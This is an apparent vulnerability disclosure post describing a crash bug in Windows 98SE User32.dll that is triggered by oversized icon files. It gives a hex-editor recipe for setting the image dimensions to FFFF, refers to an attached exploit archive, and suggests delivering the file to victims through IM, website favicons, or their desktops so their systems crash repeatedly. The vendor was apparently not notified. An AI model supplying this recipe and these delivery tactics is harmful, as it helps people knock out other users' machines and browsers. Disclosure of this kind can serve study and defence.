Andres Rey - (User32.dll Icon Size Crash) --------------------------------------------------- Application: User32.dll (Windows 98SE Version (4.10.2222)) (Maybe other Windows versions too) Bug: Crash the program that attempts to open the icon Explotation: Local / Remote* Author: Andres Rey (andreskrey@xxxxxxxxx) (* Only sometimes can be used as a remote exploit, see point 5) --------------------------------------------------- 1) Introduction 2) Bug 3) PoC 4) Making the exploit 5) Examples of the Real Life 6) Disclosure --------------------------------------------------- ============== 1) Introduction ============== User32.dll Is a core component of the Windows kernel ============== 2) Bug ============== The bug is (probably) in the LoadIconA function of user32.dll. When it reads a bitmap with the extention .ico and it has a large size (65535x65535), the dll crash, and the program that called the function gets killed ============== 2) PoC ============== The attached file is a zip with the bitmap/icon compressed. Just decompress it to a folder and open it (Explorer.exe will crash), or open with any program that can load a icon (The program will crash) WARNING!: Don't decompress to the desktop!!, or your explorer.exe will crash and crash and crash until you delete the icon ============== 4) Making the exploit ============== Just open a bitmap in a hexa editor and modify the width and height data: Locate the "XXXX" values... ---------------------------------------------------------------------------- 00000000 : 424D 38F9 1500 0000 0000 3600 0000 2800 0000 XXXX 00000010 : 0000 XXXX 0000 0100 1800 0000 0000 02F9 1500 120B ---------------------------------------------------------------------------- ...and change to: ---------------------------------------------------------------------------- 00000000 : 424D 38F9 1500 0000 0000 3600 0000 2800 0000 FFFF 00000010 : 0000 FFFF 0000 0100 1800 0000 0000 02F9 1500 120B ---------------------------------------------------------------------------- Then change the extention to ".ico". Notice that the system will crash. (I use Total Commander with the icons disabled to manipulate the file) ============== 5) Examples of the Real Life ============== 1. Send it through IM 2. Set it as "favicon" of the web pages (<--- Remote version) 3. Put in the desktop of the victim to crash the system everytime it starts 4. Etc. ============== 7) Disclosure ============== Microsoft wasn't notified (Don't know the bugs mail!, it's askbill@xxxxxxxxxxxxx?) ---------------------------------- That's all, hope you found it usefull Andres Rey andreskrey@xxxxxxxxx
Attachment:
exploit.zip
Description: Zip compressed data